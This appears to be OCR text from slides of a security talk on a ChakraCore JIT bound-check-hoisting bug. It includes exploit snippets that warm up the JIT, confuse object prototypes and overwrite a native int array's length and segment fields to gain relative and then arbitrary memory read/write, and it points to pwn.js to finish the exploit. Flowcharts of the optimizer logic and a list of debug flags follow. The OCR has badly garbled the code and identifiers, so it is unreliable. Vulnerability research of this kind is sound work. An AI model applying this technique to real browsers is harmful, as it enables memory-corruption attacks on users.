obj rw.pl0 = 10;
obj rw.pll = 11;
obj rw.pl2 = 12;

function opt(ckhj,cbjl )

{
cbhbj.a = 2.3;
let tmp = { proto :0bjl}:
obj.a = ob]_ rw;

}

//1l.layout heap

layout heap( ):

/*Jit the jit fun function*/

for(let i=0;i<0=100000 ;i++)

{
obj 1 = {a:1,b:2,ct2,d:4};
cbkj = {a:1,b:Z2,c:2,d:4};
opt (obj,ob]j 1)

}

obj 1 = {a:1,b:2,c:3,d:5};

opt(ck]j 1,cbj 1);
obj l.e = trigger wvuln intarray;
ob] rw.p7 = 0xzTIfififffift; /0200010000 7££fffff arrav—>length = 0xTEfffffff

obj rw.pll = Nall; //0xz00040000'00000000 head->»left = 0,head->length=0x00040000
obj rw.pl2 = O0xT7Iiffffff; //0x00010000"JE££f£fffff head->size = O0xTLLffffff 123



let tmp={_proto__:obj1}

lettmp ={ |proto_ :objl};

v

obj 1.auxSlots

124



obj_1.auxSlots

obJ.a

obj_rw;

obj_rw.auxSlots
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obj_1.e = trigger_vuln_intarray;

obj_rw.auxSlots

obj_1.auxSlots
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Get relative address to read and write

* Run the code below, we can get the ability to relative address
read and write according to JavaScriptNativelntArray

* |t's easy to use this array to get the ability to absolute arbitrary
address read and write in ChakraCore

* Use the pwn.js, can finish the exploit.

obj rw.pl = ;  //0x00010000"J7fffffff array->length = O0xT7fffffff
obj] rw.pll = NaN; //0x00040000'00000000 head->left = 0,head->1ength=0x00040000
obj rw.pl2 = ; //0x00010000"7££f£fffff head-»size = O0xTLLfffff
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Exploit demo show
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Appendix



ndex is constant
value

compatibleBoundChe

compatibleBoundChec
k->SetBoundOffset

Set upperboundcheck
can hoist

Hoist
UpperBoundCheck

Index 1S a constant

Process index is hot
Emmm—
constant

eadSegmentlLengthlnvariantLc
op

Y

landingPadHeadSegmentLengthValue

ndex<headSegmentlLengt

Iterate currentLoop to
Ancestor loop

Find the value of
eadSegmentlLengthSymg

landingPadHeadSegmentLength
Value
=Value
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Compatible bound check

Get
indexValuelnfo
indexBounds

Get Compatibility
lowBoundCheck
upperBoundCheck

upperHostinfo
lowerHoistlnfo

Hoist UpperBoundCheck
Hoist lowerBoundCheck

indexBounds!=null

Iterator currentBlock->globoptData.availableintBoundChecks get each
IntBoundCheck
According IntBoundCheck get the lowerHoistBlockindexValueNumber or
upperHoistBlockindexValueNumber

indexBounds->RelativeLowerBounds or
indexBounds->RelativeLowerBounds get the IntBoundCheck

upperBoundCheck or
lowerBoundCheck
rrentLoop==

LL
Set Hoistlnfo

bundUpperBoundCheck &3
oundLowerBoundChec

Y
Hoist BoundCheck
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Index Is Invariant or index In landingPad 1s a
lower/upper bound of the index in current block

Begin

Index Sym is variant

Iterate from currentLoop to
Ancestor Loop

. indexBounds!I=MNULL
landingPadindexwvalue=
Loop->landingPad->globOptData.FindVWalue
(indexSym)
indexBounds-
=>=RelativeUpperBounds().TryGetReference({landi
ngPadindexValue->GetWValueMumber(),
Ebound)

Get bound success

Y
. IandlngPadHeadS(_egmentLengthVaIue = upperOffset=bound
landingPadBlockData.Findvalue(headsegmentlLen
e ->0Offset( )

dingPadHeadSegmentlLe
Value I=MNULL

Note:Just foucs on the
UpperBoundCheck Hoist
dingPadindexConstantBoundse H H H
landingPadHeadSegmentlLengthConstantBou !ndex Value N the Iandlng pad
nds is a lower/upper bound of the

index value in the current
Set UpperHostinfo

Hoist UpperBoundCheck block
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Index relative bound 1s Invariant in loop

landingPadHeadSegmentlLengthConstan
tBounds

landingPadindexBoundBaseValue =
landingPadBlockData.FindValue(indexBoundBaseSym);

Iterate from currentLoop to e =L

Ancestor Loop gPadindexBoundBase™

landingPadindexBoundBaseVWValue-
>GetValueNumber() 1=
Bound.BaseValueMNur

Get ValueRelativeOffset &indexBound from
indexBounds->RelativeUpperBounds()

landingPadBlockData = loop-—=landingPad-
=>globOptData
landingPadHeadSegmentLengthvalue =
landingPadBlockData.FindValue{ headSegmentLeng
thSym);

indexBoundBaseSym =
indexBound.BaseSym(); Get
landingPadindexBoundBaseConstantBounds

offset = indexBound.Offset();

ingPadHeadSegmentlLeng

indexBoundBaseSym==MNULL

ound.WasEstablishedExplicltrYy
) is false N

Set UppeHostInfo
Host UpperBoundCheck

NextStep

Note:Just foucs on the
UpperBoundCheck Hoist
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indexConstantBound =
indexBounds-
>ConstantUpperBound();

searchingUpper &&
perHoistinfo.loop( }!=loog

et boundChec
success
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loopcount + InductionVariable

loopCount = currentLoop-—>loopCount;
indexinductionVariable for indexSym

int maxMagnitudeChange =
indexinductionVariable-
>ChangeBounds().UpperBound();

Get indexOffset,symBoundType from
DetermineSymBoundOffsetOrValueRelativ
eTolLandingPad function

symBoundType == SymBoundType::WALUE
indexSymToAdd = nullptr;
symBoundType == SymBoundType::OFFSET
indexSymToAdd dexSym;

indexLoopCountBasedBoundBaseSym =
indexSymToAdd;
indexLoopCountBasedBoundBaseValue =
landingPadBlockData.FindValue{indexSymT
oAdd);

Be careful:
This flow chart Only gives a branch
of the loopcount process becuase
This process is very
complicated.Want to see the full
branch,please read the source
code.

Offset = indexOffset +
loopCountMinusOne*maxMagnit
udeChange

maxMagnitudeChange

Offset = -1-offset

dexlLoopCountBasedBoundBaseValue™®
andingPadHeadSegmentlLengthValue

Hoist UpperBoundCheck
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ChakraCore Debug Flag

* -mic:1 the maximum number of times to run In interpreted mode
before JIT

* -pbgjit- disable the JIT in the backend thread
e -off:simplejit disable the simplejit

* -debugbreak:n insert “int 3" instruction at the begin of the JIT
function which function number is “n”

* -dump:irbuilder dump the instr information after irbuilder phase
* -dump:inline  dump the instr information after inline phase

* -dump:FGBuild dump the instr information after FGBuild phase

* -dump:GlobOpt dump the instr information after GlobOpt phase
* -dump:lowerer dump the instr information after Lowerer phase




* -trace:ValueNumbering trace the VauleNumbering about each
Sym

* _trace:TrackRelativelntBounds
* —_trace:BoundCheckElimination
* -trace:LoopCountBasedBoundCheckHolist

e _trace:BoundCheckHoist
* _trace:TrackRelativelntBounds



